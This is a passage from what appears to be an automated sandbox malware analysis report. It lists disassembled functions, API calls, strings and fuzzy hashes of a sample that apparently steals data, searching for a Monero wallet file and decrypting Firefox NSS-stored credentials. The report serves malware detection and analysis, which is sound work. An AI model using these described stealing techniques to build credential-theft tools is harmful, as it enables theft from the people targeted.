StrCmpCA.SHLWAPI(?,00540F70), ref: 00533947
StrCmpCA.SHLWAPI(?,00540F74), ref: 0053395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00533C67
FindClose.KERNEL32(000000FF), ref: 00533C7C

Strings

%s\*, xrefs: 005338C0
%s\%s, xrefs: 00533A6F
%s\%s, xrefs: 0053397A
%s%s, xrefs: 00533AAD
%s\%s\%s, xrefs: 00533A4A

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 05b1b37f2bc0476f898ec8b13d3ed2f8fff1459216b29d5bd7998d168f1e08e3
Instruction ID: 2aa4c7811a1f0db5873c71f104c5d8ba8f71ba69168498d65b6c5804aff0203d
Opcode Fuzzy Hash: 05b1b37f2bc0476f898ec8b13d3ed2f8fff1459216b29d5bd7998d168f1e08e3
Instruction Fuzzy Hash: 58A11272900319ABDB24DF64DC89FEA7779BF94300F048598F60EA6141EB759B84CF62

Function 6CEDC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CEDC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CEDC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CEDC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CEDCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CEDDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CEDDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CEDDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CEDE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEDE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CEDE472

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: b78fb7f051165abc29d30ea655570b7a9d4f260abe59167f6e80e7e734e55713
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DF33AE75E0021ACFCB04CFA8C8806ADBBF2FF49314F294269D955AB755D731B946CBA0

Function 6CE9ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CE9EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CE9EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CEA1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEA16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CEA1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CEA1A3E

Strings

~ql, xrefs: 6CE9ED10
~ql, xrefs: 6CE9ED13

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~ql$~ql
API String ID: 3693777188-2664383298
Opcode ID: e47e0e11b8fd82ccc0e4401695a893a2d61350bccd56457e4ce761fc331ede6c
Instruction ID: f01a00ca56901f043a38b6465d1e859232077f8b1e698bb5f1f4163979776a91
Opcode Fuzzy Hash: e47e0e11b8fd82ccc0e4401695a893a2d61350bccd56457e4ce761fc331ede6c
Instruction Fuzzy Hash: 82B31971E04219CFCB14CFA8C890A9DB7B2BF89304F2582A9D459BB755D734AD86CF90

Function 6CE8FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CEFE7B8), ref: 6CE8FF81
LeaveCriticalSection.KERNEL32(6CEFE7B8), ref: 6CE9022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CE90240
EnterCriticalSection.KERNEL32(6CEFE768), ref: 6CE9025B
LeaveCriticalSection.KERNEL32(6CEFE768), ref: 6CE9027B

Strings

<jemalloc>, xrefs: 6CE90D62, 6CE90D76, 6CE90DA7
: (malloc) Error in VirtualFree(), xrefs: 6CE90D67, 6CE90D7B, 6CE90DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CE8FE99, 6CE8FEB7, 6CE8FED3, 6CE90DB8, 6CE90DD3, 6CE919B4

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2c6b63802bb6459661213d2c51b79f2f13c58a1cff2d751115c619eb04bbcb6e
Instruction ID: c3ebd2a9e22087673dcc92c3a5b06e136a9cce9b8d0775619d01068dab0c1cb0
Opcode Fuzzy Hash: 2c6b63802bb6459661213d2c51b79f2f13c58a1cff2d751115c619eb04bbcb6e
Instruction Fuzzy Hash: 15C28C71A057418FD714CF28C981716BBF1AF8A328F38C66DE8A98B795D771E841CB81

Function 00534570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00534580
RtlAllocateHeap.NTDLL(00000000), ref: 00534587
wsprintfA.USER32 ref: 005345A6
FindFirstFileA.KERNEL32(?,?), ref: 005345BD
StrCmpCA.SHLWAPI(?,00540FC4), ref: 005345EB
StrCmpCA.SHLWAPI(?,00540FC8), ref: 00534601
FindNextFileA.KERNEL32(000000FF,?), ref: 0053468B
FindClose.KERNEL32(000000FF), ref: 005346A0
lstrcat.KERNEL32(?,0108F398), ref: 005346C5
lstrcat.KERNEL32(?,0108DD28), ref: 005346D8
lstrlen.KERNEL32(?), ref: 005346E5
lstrlen.KERNEL32(?), ref: 005346F6

Strings

%s\*, xrefs: 0053459A
%s\%s, xrefs: 0053461B

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 9a840b083d270991cee8a6c37b367ffe37c2c6cd815ff1750669b9a753a6f76d
Instruction ID: 6a9de86c7089ee33fc60b78eeaf90fa4f584a2e1c77aacdd975bdd2d977d2596
Opcode Fuzzy Hash: 9a840b083d270991cee8a6c37b367ffe37c2c6cd815ff1750669b9a753a6f76d
Instruction Fuzzy Hash: F9516971510319ABC724EB70DC89FEE777CBF54300F408598F60AA2190EB74AB848F95

Function 0052ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0052ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0052ED55
StrCmpCA.SHLWAPI(?,00541538), ref: 0052EDAB
StrCmpCA.SHLWAPI(?,0054153C), ref: 0052EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0052F2AE
FindClose.KERNEL32(000000FF), ref: 0052F2C3

Strings

%s\*.*, xrefs: 0052ED32

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 94f450454768e47b1c05537198e071def44f0a811a965b0c4659493f0760a2a8
Instruction ID: c362b22b84115331709d3efc75ec84e6506b31198a9d3374cadabde70e17e0fe
Opcode Fuzzy Hash: 94f450454768e47b1c05537198e071def44f0a811a965b0c4659493f0760a2a8
Instruction Fuzzy Hash: E6E1F472911119AADB54FB60DC96EEEB738BF94300F4041D9B54B62092EF306F8ACF55

Function 6CE9D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D4F2
LeaveCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D50B

Part of subcall function 6CE7CFE0: EnterCriticalSection.KERNEL32(6CEFE784), ref: 6CE7CFF6
Part of subcall function 6CE7CFE0: LeaveCriticalSection.KERNEL32(6CEFE784), ref: 6CE7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D52E
EnterCriticalSection.KERNEL32(6CEFE7DC), ref: 6CE9D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CE9D6A6
LeaveCriticalSection.KERNEL32(6CEFE7DC), ref: 6CE9D712
LeaveCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CE9D7EA

Strings

<jemalloc>, xrefs: 6CE9D827
: (malloc) Error initializing arena, xrefs: 6CE9D82C

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d6509b3a2ee20d986a272f4d049304a8713e354395430fbdff9b24394adf8a25
Instruction ID: 98ee352b995a52dfed404b447e6894c1d60c274e571561a10a31e8a31036c4ca
Opcode Fuzzy Hash: d6509b3a2ee20d986a272f4d049304a8713e354395430fbdff9b24394adf8a25
Instruction Fuzzy Hash: D791B275A047558FD714CF28C49076AB7F1EB8A318F34892EE56AC7B81D730E945CB82

Function 0052DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00540C2E), ref: 0052DE5E
StrCmpCA.SHLWAPI(?,005414C8), ref: 0052DEAE
StrCmpCA.SHLWAPI(?,005414CC), ref: 0052DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0052E3E0
FindClose.KERNEL32(000000FF), ref: 0052E3F2

Strings

\*.*, xrefs: 0052DE26

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 682877026e0445cc69965c0a1c3bc167eff5295eccbedad35757b8a597ebffcf
Instruction ID: 729900018c7eb6858d708d082e6d46bcd66026910a21ef6193a99157524ab65a
Opcode Fuzzy Hash: 682877026e0445cc69965c0a1c3bc167eff5295eccbedad35757b8a597ebffcf
Instruction Fuzzy Hash: 8FF1B472814119AADB15FB60DC9AEEEB738BF94300F5041D9B44B62091EF346F8ACF65

Function 0052C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0052C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0052C87C
PK11_GetInternalKeySlot.NSS3 ref: 0052C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0052C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0052C8EB
lstrcat.KERNEL32(?,00540B46), ref: 0052C943
lstrcat.KERNEL32(?,00540B47), ref: 0052C957
PK11_FreeSlot.NSS3(?), ref: 0052C961
lstrcat.KERNEL32(?,00540B4E), ref: 0052C978

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: a637f53617620802b152d234f470505dd2740d20cee47538781a479957c25817
Instruction ID: e55d670c773f5182287f8129a6e1dc11d1d2755ff74b9b36722b80120e71d810
Opcode Fuzzy Hash: a637f53617620802b152d234f470505dd2740d20cee47538781a479957c25817
Instruction Fuzzy Hash: 934171B490421AEBCB10CF94DD89BEEBBB8BF44304F1045A8E509A72C0D7B46A84CF95

Function 6CEC2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CEC2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CEC2C61

Part of subcall function 6CE74DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE74E5A
